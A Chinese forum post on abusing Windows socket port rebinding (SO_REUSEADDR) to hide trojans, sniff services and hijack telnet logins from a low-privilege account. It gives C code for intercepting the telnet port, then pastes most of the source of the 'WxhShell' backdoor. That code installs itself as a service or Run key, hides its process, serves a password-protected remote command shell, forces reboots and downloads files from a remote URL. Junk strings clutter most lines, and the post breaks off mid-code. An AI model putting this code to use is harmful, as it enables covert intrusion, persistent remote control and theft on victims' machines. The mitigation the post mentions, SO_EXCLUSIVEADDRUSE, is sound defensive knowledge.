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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -A#p22D,5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n)yDep]$G  
M?l v  
  saddr.sin_family = AF_INET; bjVk9XvH6  
@a 9.s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "Enb   
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 're:_;lG  
FJn-cR.n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L<FXtBJ  
E{ /, b)  
  这意味着什么?意味着可以进行如下的攻击: /LFuf`bXV  
vyZ&%?{*R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ixA.b#!1  
kk fWiPO^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AJyN lQ  
|z)s9B;:#i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W.3b]zcV  
T0 K!Msz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2^[dy>[y0  
{aAd (~YZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1ksFxpE  
X]y:uD{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b8d0]YS  
kZe<<iv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <7P[)X_  
b8K]>yDAh  
  #include )tG. 9"<  
  #include ^N7H~CT"  
  #include k;\gYb%L  
  #include    *)K\&h<{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1L,L/sOwB&  
  int main() pU_3Z3CeE  
  { >YI Vi4''  
  WORD wVersionRequested; +b 6R  
  DWORD ret; _?-oPb  
  WSADATA wsaData; :k\#=u(  
  BOOL val; y#Dh)~|k  
  SOCKADDR_IN saddr; oU|G74e6  
  SOCKADDR_IN scaddr;  VAiJL  
  int err; M5{#!d}^D  
  SOCKET s; "pkdZ   
  SOCKET sc; a``|sn9  
  int caddsize; ]g-%7g|  
  HANDLE mt; {+9RJmZg  
  DWORD tid;   Y w0,K&  
  wVersionRequested = MAKEWORD( 2, 2 ); I )mB]j  
  err = WSAStartup( wVersionRequested, &wsaData ); z}E_ wg  
  if ( err != 0 ) { \%<M[r=  
  printf("error!WSAStartup failed!\n"); [wQ48\^  
  return -1; 4r(0+SO  
  } o 2 ng  
  saddr.sin_family = AF_INET; \Th<7WbR6#  
   y,5qY}P+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wPg/.N9H  
/\%<VBx ?q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]k!Xb  
  saddr.sin_port = htons(23); )- W1Wtom  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^fsMfB  
  { 6*i **  
  printf("error!socket failed!\n"); G _cJI  
  return -1; F*P0=DD  
  } X +!+&RAN*  
  val = TRUE; JmCMFq B9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )JzY%a SP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uzdPA'u  
  { T^ktfg Xq  
  printf("error!setsockopt failed!\n"); 1Ms]\<^j  
  return -1; g-qXS]y7  
  } >NUbk9}J4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i}vJI}S.$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f\_RW;y|m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B@F@,?K4%  
FJeh=\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @jn&Wf?  
  { m?kiGC&m  
  ret=GetLastError(); AM- bs^  
  printf("error!bind failed!\n"); -PV1x1|  
  return -1; *I 1H  
  } X%b1KG|#(  
  listen(s,2); \:;MFG'  
  while(1) irQ'Rm [  
  { L('1NN 2  
  caddsize = sizeof(scaddr); ~/G)z?+E  
  //接受连接请求 AERJ]$\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aDdxR:  
  if(sc!=INVALID_SOCKET) _V$'nz#>e  
  { 4<Vi`X7[F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M FIb-*wT  
  if(mt==NULL) V}V->j*  
  { vK!`#W`X  
  printf("Thread Creat Failed!\n"); necY/&Ld-  
  break; [Vs\r&qL  
  } iaL@- dg  
  } ~ YH?wdT  
  CloseHandle(mt); i >3`V6  
  } ?W'z5'|  
  closesocket(s); `O6#-<>  
  WSACleanup(); F;Q,cg M  
  return 0; FW-I|kK.  
  }   J];Sj  
  DWORD WINAPI ClientThread(LPVOID lpParam) G|,&V0*  
  { -+E.I*st  
  SOCKET ss = (SOCKET)lpParam; ^xHKoOTj[  
  SOCKET sc; IWE([<i}i[  
  unsigned char buf[4096]; mI8EeMa{  
  SOCKADDR_IN saddr; `Na()r$T  
  long num; ( eKgc  
  DWORD val; aMI;; iL^  
  DWORD ret; LhO\a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0%bCP/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NQqw|3  
  saddr.sin_family = AF_INET; )M0`dy{1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^BF}wQb :j  
  saddr.sin_port = htons(23); &ZD@-"@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]r;rAOWVV  
  { wlNL;W@w  
  printf("error!socket failed!\n"); dWn6-es  
  return -1; B''yW{  
  } TO Hz3=  
  val = 100; %DSr@IX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k>ErD v8  
  { b/_Zw^DPC  
  ret = GetLastError(); Hf('BagBL  
  return -1; SRfh{u  
  } [~N;d9H+*1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =RWTjTZ   
  { ]0D-g2!|A  
  ret = GetLastError(); g}%ODa !H  
  return -1; c+l1 l0BA  
  } ZuGSRGX'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F?6kkLS/  
  { EA~xxKq  
  printf("error!socket connect failed!\n"); d[t0K]  
  closesocket(sc); _s;y0$O  
  closesocket(ss); -`' |z+V  
  return -1; 8;gi8Y  
  } 4<[?qd 3v=  
  while(1) ; $rQ  
  { 4r$#-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oB 1Qw'J w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w>2lG3H<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]y {tMC  
  num = recv(ss,buf,4096,0); 3#t9pI4  
  if(num>0) IRg2\Hq  
  send(sc,buf,num,0); #ksDU  
  else if(num==0) $^Xxn.B9  
  break; _\>y[e["p  
  num = recv(sc,buf,4096,0); 2mEqfy  
  if(num>0) IBNg2Y  
  send(ss,buf,num,0); GXZ="3W |  
  else if(num==0) Qm[((6}  
  break; 0#NMNZ  
  } QD.5o S  
  closesocket(ss); eP2Q2C8g  
  closesocket(sc); dSwfea_  
  return 0 ; \udB4O  
  } P8c_GEna  
Y @ v][Q  
0'd@8]|H  
========================================================== Vs 5 &X+k  
SAnr|<Y/  
下边附上一个代码,,WXhSHELL 3X(^`lAf)  
"\*)KH`C  
========================================================== a>GA=r  
}#1.$a  
#include "stdafx.h"  Z`*V9  
-`4]u!A  
#include <stdio.h> ZJ{DW4#t  
#include <string.h> k1D7=&i  
#include <windows.h> bZ_&AfcB  
#include <winsock2.h> vGyQ306  
#include <winsvc.h> b_Y+XXb<  
#include <urlmon.h> 9SeGkwec?$  
,P <I<QYu  
#pragma comment (lib, "Ws2_32.lib")  _ %mm  
#pragma comment (lib, "urlmon.lib") gp9O%g3'  
Mh`^-*c?  
#define MAX_USER   100 // 最大客户端连接数 7ZI{A*^vB  
#define BUF_SOCK   200 // sock buffer u8 k^\Do  
#define KEY_BUFF   255 // 输入 buffer I0Do%  
p+P@I7V  
#define REBOOT     0   // 重启 *{?2M6Z  
#define SHUTDOWN   1   // 关机 N d>zq  
HVvm3qu4  
#define DEF_PORT   5000 // 监听端口 <uIPv Zsx  
v Z10Rb8  
#define REG_LEN     16   // 注册表键长度 NATi)A"TZ  
#define SVC_LEN     80   // NT服务名长度 rX$-K\4W  
_A]jiPq  
// 从dll定义API *?Eu{J){7%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #4|RaI|.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {W?!tD43"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f #h0O3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &K]|{1+  
X:Y1g)|K  
// wxhshell配置信息 V.3#O^S  
struct WSCFG { ybJa:  
  int ws_port;         // 监听端口 }|h-=T '  
  char ws_passstr[REG_LEN]; // 口令 I&|8 qx#  
  int ws_autoins;       // 安装标记, 1=yes 0=no  fp||<B  
  char ws_regname[REG_LEN]; // 注册表键名 RPa]VL1W  
  char ws_svcname[REG_LEN]; // 服务名 M}jl \{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _$*-?*V&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'tTlBf7#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Db2#QQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +PYR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p3fV w]N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x75;-q  
3=]/+{B  
}; <=uO*s>%  
ruqE]Hx9(  
// default Wxhshell configuration JK)|a@BtOT  
struct WSCFG wscfg={DEF_PORT, j 1'H|4  
    "xuhuanlingzhe", NHZMH!=4:n  
    1, %/zHL?RqJ  
    "Wxhshell", z*nztvY@e  
    "Wxhshell", H?opG<R=ek  
            "WxhShell Service", \yymp70w  
    "Wrsky Windows CmdShell Service", %|@?)[;  
    "Please Input Your Password: ", .aZB?M W  
  1, :x q^T  
  "http://www.wrsky.com/wxhshell.exe", 9^S rOW6~  
  "Wxhshell.exe" W(ZEqH2  
    }; pnz@;+f  
#O^zA`D   
// 消息定义模块 Wm8BhO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3s BWtz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^?%ThPo_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <\:*cET3  
char *msg_ws_ext="\n\rExit."; ve#[LBOC8  
char *msg_ws_end="\n\rQuit."; nb5%a   
char *msg_ws_boot="\n\rReboot..."; rGH7S!\AM  
char *msg_ws_poff="\n\rShutdown..."; ?{Xp'D\z  
char *msg_ws_down="\n\rSave to "; s5 Fn("h]n  
yPbOiA*lHz  
char *msg_ws_err="\n\rErr!"; o\j<EQb.  
char *msg_ws_ok="\n\rOK!"; *=z.H  *  
|q o3 E  
char ExeFile[MAX_PATH]; dkEnc  
int nUser = 0; ]H:K$nmX  
HANDLE handles[MAX_USER]; i\36 s$\  
int OsIsNt; [u3^R]  
IsL=DV/  
SERVICE_STATUS       serviceStatus; r~;.8qs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .hvn/5s  
/9y'UKl7[  
// 函数声明 QL(}k)dB  
int Install(void); `).;W  
int Uninstall(void); :?%_JM5U  
int DownloadFile(char *sURL, SOCKET wsh); >fR#U"KPAB  
int Boot(int flag); 9 DXu*}  
void HideProc(void); ]:^kw$  
int GetOsVer(void); Q6Zh%\+h(  
int Wxhshell(SOCKET wsl); Sdmynuv U  
void TalkWithClient(void *cs); RDG,f/L2  
int CmdShell(SOCKET sock); I@a7!ugU65  
int StartFromService(void); /|e"0;{  
int StartWxhshell(LPSTR lpCmdLine); ;LT#/t)}<  
b!37:V\#}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X>jwjRK $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dc> )js|"  
r52,f%nlm  
// 数据结构和表定义 ,TO&KO1;&  
SERVICE_TABLE_ENTRY DispatchTable[] = \;tKss!|  
{ qpc2;3*7  
{wscfg.ws_svcname, NTServiceMain}, OaxE3bDT  
{NULL, NULL} tX *L_  
}; Df/f&;`  
Q^V`%+  
// 自我安装 r3{o _w  
int Install(void) w_J`29uc  
{ "=!QSb  
  char svExeFile[MAX_PATH]; w1A&p  
  HKEY key; [dL?N  
  strcpy(svExeFile,ExeFile); -p !KsU  
nBiA=+'v  
// 如果是win9x系统,修改注册表设为自启动 s.dn~|a  
if(!OsIsNt) { ]i]sgg[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?t.?f`(|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f{Y|FjPp=E  
  RegCloseKey(key); cl7+DAE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *t|j+*c}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .'AHIR&>  
  RegCloseKey(key); u&I~%s  
  return 0; ~(0Y`+gC  
    } CM's6qhQnn  
  } )@`w^\E_~_  
} 1y8:tri>N  
else { tT#Q`cB  
Sdt2D  
// 如果是NT以上系统,安装为系统服务 <ct{D|mm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U14dQ=~b/  
if (schSCManager!=0) Z*e7W O.  
{ 1@qb.9wZ6  
  SC_HANDLE schService = CreateService 7iJk0L$]x  
  ( .r*b+rc;]  
  schSCManager, iii$)4V  
  wscfg.ws_svcname, M[*:=C)H  
  wscfg.ws_svcdisp, #XY]@V\  
  SERVICE_ALL_ACCESS, cwC, VYVl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J2[QHr&tn  
  SERVICE_AUTO_START, /s*>V@Q  
  SERVICE_ERROR_NORMAL, \T]"pE+8l  
  svExeFile, G7/LYTT)  
  NULL, Z/RUrYeb  
  NULL, u!`C:C'  
  NULL, 2RXGY  
  NULL, K((Kd&E  
  NULL 80]TKf>  
  ); ];2eIe  
  if (schService!=0) h+^T);h};|  
  { QBn>@jq  
  CloseServiceHandle(schService); &{=~)>h  
  CloseServiceHandle(schSCManager); 0j/81Y}p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m[7:p{  
  strcat(svExeFile,wscfg.ws_svcname); h'fD3Gr&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &s;%(c04A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pn7 :")Zx  
  RegCloseKey(key); < 5_Ys  
  return 0; 9FLn7Y  
    } gX _BJ6  
  } v!U#C[a^  
  CloseServiceHandle(schSCManager); aC$g(>xFt  
} B+DRe 8  
} \j;uN#)28  
CGe'z  
return 1; p+7BsW.l  
} !^fJAtCN]  
\mu9ikZ<  
// 自我卸载 ,] {NZ9  
int Uninstall(void) EXFxiw  
{ yl ;'Ru:  
  HKEY key; ,"VQ 0Z1  
eo_T .q  
if(!OsIsNt) { 2M#CJ&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1DcarF  
  RegDeleteValue(key,wscfg.ws_regname); ZAH<!@qh  
  RegCloseKey(key); U?lu@5 ^Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]g+z$2o  
  RegDeleteValue(key,wscfg.ws_regname); enzQ}^  
  RegCloseKey(key); eztk$o  
  return 0; 2,;t%GB  
  } !Cy2>6v7  
} D5m\u$~V  
} VfcQibm  
else { lmcDA,7  
 ck~xj0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c-=0l)&'D=  
if (schSCManager!=0) bX(*f>G'  
{ wqOhJYc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C|zH {.H  
  if (schService!=0) wf@2&vJ  
  { Qd4T?5 vG  
  if(DeleteService(schService)!=0) { !m|%4/ M@  
  CloseServiceHandle(schService); [;f"',)y,  
  CloseServiceHandle(schSCManager); e`Yns$x  
  return 0; 8)!;[G|  
  } ,7g;r_qwA  
  CloseServiceHandle(schService); U.F65KaKF  
  } PK4UdT  
  CloseServiceHandle(schSCManager); NGY I%:  
} v+sbRuo8  
} r*wKYb  
F]*-i 55S  
return 1; 7&)F;;H  
} R*0F)M  
6v#G'M#r  
// 从指定url下载文件 !v L :P2  
int DownloadFile(char *sURL, SOCKET wsh) `@D4?8_  
{ iIw ea`  
  HRESULT hr; =x'%zUgE  
char seps[]= "/"; urB3  
char *token; [alXD_  
char *file; 0cUt"(]  
char myURL[MAX_PATH]; ~m?~eJK#a  
char myFILE[MAX_PATH]; /,UkT*+>!  
B ,Brmn  
strcpy(myURL,sURL); ? $ c  
  token=strtok(myURL,seps); i=oa"^c4  
  while(token!=NULL) WCu%@hh=h  
  { ,GnU]f  
    file=token; z0[ZO1Fo(  
  token=strtok(NULL,seps); g:M7/- "  
  } b]#d04]  
!S-U8KI|  
GetCurrentDirectory(MAX_PATH,myFILE); [ d7]&i}*|  
strcat(myFILE, "\\"); 1[`<JCFClc  
strcat(myFILE, file); c7IR06E  
  send(wsh,myFILE,strlen(myFILE),0); |u;PU`^-z  
send(wsh,"...",3,0); %Ab_PAw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); se HbwO3 b  
  if(hr==S_OK) iGMONJRO  
return 0; ZG<!^tj  
else pd3&AsU  
return 1;  Vb 9N~v  
RA I&;"  
} b1]_e'jj  
zpqNmxmF  
// 系统电源模块 ]!aa#?Fc  
int Boot(int flag) QJM!Wx+  
{ mm-UQ\h  
  HANDLE hToken; "\r~,S{:  
  TOKEN_PRIVILEGES tkp; <SZO- -+lB  
XSjelA?  
  if(OsIsNt) { 4"x;XVNM[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \Egc5{   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( v:ek_  
    tkp.PrivilegeCount = 1; !F#aodM1N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qjzW9yV+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wP0+Xv,  
if(flag==REBOOT) { Q5n : f+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TF-Ty  
  return 0; So.P @CCd  
} mS}x2 &  
else { `j}d=zZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]UT|BE4v  
  return 0; !o':\hex6  
} !gfhEz Y  
  } _C,@eu"9V  
  else { O:tX0<6  
if(flag==REBOOT) { /.YAFH|i)"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oImgj4C2L  
  return 0; AWXpA1(  
} ?lN8~Ze  
else { xcvr D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '#PqI)P  
  return 0; wKS-O%?  
} jZT :-w  
} &MZy;Sq  
lN>C#e<]  
return 1; `Uj?PcS_  
} )NmlV99q  
Wo+CQH6(  
// win9x进程隐藏模块 S/<"RfVU#o  
void HideProc(void) DbU;jorwu  
{ [RPAkp  
UW[{d/.wC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EQ63VF  
  if ( hKernel != NULL ) Jhy t)@7/,  
  { 6.h   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7Ljj#!`lUp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =/JF-#n/MA  
    FreeLibrary(hKernel); uoY`qF.`  
  } _pko]F|()  
{hRie+  
return; ! M&un*  
} /dJ)TW(Ir  
#t2UPLO~  
// 获取操作系统版本 ]ZzG!7  
int GetOsVer(void) [ 7Lxt  
{ tb?F}MEe  
  OSVERSIONINFO winfo; Z<|_+7T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iei7!KLW  
  GetVersionEx(&winfo); wEnuUC4j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sja{$zL+W  
  return 1; WCmNibj  
  else m_!vIUOz  
  return 0; 4!~ .6cp3  
} Qj<{oZp&  
YG 5Z8@kH  
// 客户端句柄模块 0SY f<$  
int Wxhshell(SOCKET wsl) _p J_V>l  
{ G9n /S=R?  
  SOCKET wsh; =PFR{=F  
  struct sockaddr_in client; nOal7BNN  
  DWORD myID; b?]ly(  
,)rZAI  
  while(nUser<MAX_USER) ezr\T  
{ 5u|=;Hz*)  
  int nSize=sizeof(client); 8\)U|/A7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iQ|,&K0d]  
  if(wsh==INVALID_SOCKET) return 1; Zp(=[n5  
P A6KX5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CI!Eq&D,  
if(handles[nUser]==0) '`]n_$f'  
  closesocket(wsh); H/Ec^Lc+_  
else Bq~hV;9nf  
  nUser++; |v$%V#Bo  
  } \YlF>{LVe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -M:hlwha  
q]N?@l]  
  return 0; }>;ht5/i/  
} wHOlj)CZ  
o\]: !#r{T  
// 关闭 socket HLSfoQ&)v  
void CloseIt(SOCKET wsh) juCG?}di;  
{ Dpdn%8+Z  
closesocket(wsh); <cDKGd  
nUser--; G=C5T(  
ExitThread(0); ^0Q=#p  
} Q\27\2  
EO].qN-8  
// 客户端请求句柄 X$-b oe?  
void TalkWithClient(void *cs) %]chL.s  
{ m +Q5vkW  
%R5Com  
  SOCKET wsh=(SOCKET)cs; fys5-1@-p  
  char pwd[SVC_LEN]; %[Zqr;~l  
  char cmd[KEY_BUFF]; XJmFJafQD  
char chr[1]; &gA6+b'  
int i,j; 29Z!p2{hk  
T,WKo B  
  while (nUser < MAX_USER) { MjQ[^%lfL  
N4a`8dS|  
if(wscfg.ws_passstr) { Z#4JA/c!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r*6"'W>c6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;V(H7 ZM  
  //ZeroMemory(pwd,KEY_BUFF); ){+[$@9  
      i=0; a IpPL8a  
  while(i<SVC_LEN) { 'T)Or,d  
m%oGzx+  
  // 设置超时 2#AeN6\@  
  fd_set FdRead; 7`b lGzP_  
  struct timeval TimeOut; kRN|TDx(  
  FD_ZERO(&FdRead); : F7k{~  
  FD_SET(wsh,&FdRead); NV} RRs  
  TimeOut.tv_sec=8; =de<WoKnu2  
  TimeOut.tv_usec=0; +z:CZ(fb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b|sc'eP#?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @PPR$4  
a{]g+tGH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l_c^ .D  
  pwd=chr[0]; *?_qE  
  if(chr[0]==0xd || chr[0]==0xa) { `E} p77  
  pwd=0; <$jKy3@  
  break; 1z~k1usRK  
  } ;RWW+x8IB  
  i++; 8%o~4u3  
    } lo+xo;Nd  
`E3:;|  
  // 如果是非法用户,关闭 socket x7 "z(rKl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wv, GBZ-f  
} /x  
bKk CW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [1z{T(dh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); brg":V1a  
j|VXC(6 P,  
while(1) { 81g9ZV(4  
Ro'jM0(KE  
  ZeroMemory(cmd,KEY_BUFF); Md8(`@`o  
|Du,UY/  
      // 自动支持客户端 telnet标准   >vlQ|/C  
  j=0; ?. zu2  
  while(j<KEY_BUFF) { 5oz>1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ow2M,KU6Z  
  cmd[j]=chr[0]; 6xQ"bFm  
  if(chr[0]==0xa || chr[0]==0xd) { sA/,+aM  
  cmd[j]=0; <9ma(PFa  
  break; )K{o<m~WAo  
  } ;#3ekl{-g  
  j++; \s=QiPK  
    } Bu7A{DRf  
%6AYCN?Ih  
  // 下载文件 luW <V>  
  if(strstr(cmd,"http://")) { h ZoC _\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g-."sniP$g  
  if(DownloadFile(cmd,wsh)) p1Q/g Il  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MWM +hk1fs  
  else |]^l^e 6m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=`U4Ml;  
  } 0/ut:RV0  
  else { SK's!m:r=  
B ,V( LTE  
    switch(cmd[0]) { +.w[6  
  @. "q  
  // 帮助 gf+o1\5t@  
  case '?': { F?7u~b|@{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q"A_bdg5  
    break; :I2H&,JT  
  } YMi/uy  
  // 安装 T3=(`  
  case 'i': { 49o\^<4b  
    if(Install()) _zdNLwE[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S#,+Z7  
    else F y b[{"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xXOR IlD  
    break; i wUv`>l&  
    } c8T/4hU MN  
  // 卸载 C?,*U  
  case 'r': { iBucT"d]  
    if(Uninstall()) 5i6VZv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I[s3EnhS  
    else > 84e`aGE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 bn t=5]  
    break; R6 ;jY/*#  
    } \fTTkpM  
  // 显示 wxhshell 所在路径 fTBVvY4(  
  case 'p': { 6_WmCtvF  
    char svExeFile[MAX_PATH]; C?/r;  
    strcpy(svExeFile,"\n\r"); YUCC*t  
      strcat(svExeFile,ExeFile); JRq3>P  
        send(wsh,svExeFile,strlen(svExeFile),0); :WVSJ,. !  
    break; OZ=Cp$  
    } f_rp<R>Uu  
  // 重启 Wj&nUp{  
  case 'b': { @a0Q0M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 975 _d_U  
    if(Boot(REBOOT)) xpAok]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N>} 4Ay  
    else { {#N%Bq}  
    closesocket(wsh); E30Ln_^o  
    ExitThread(0); d,UCH  
    } NddO*`8+)  
    break; ^}J<)}Q  
    } rkq#7  
  // 关机 Y~}5axSPH  
  case 'd': { "mR*7o$|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +>!V ]S  
    if(Boot(SHUTDOWN)) S nW7x  
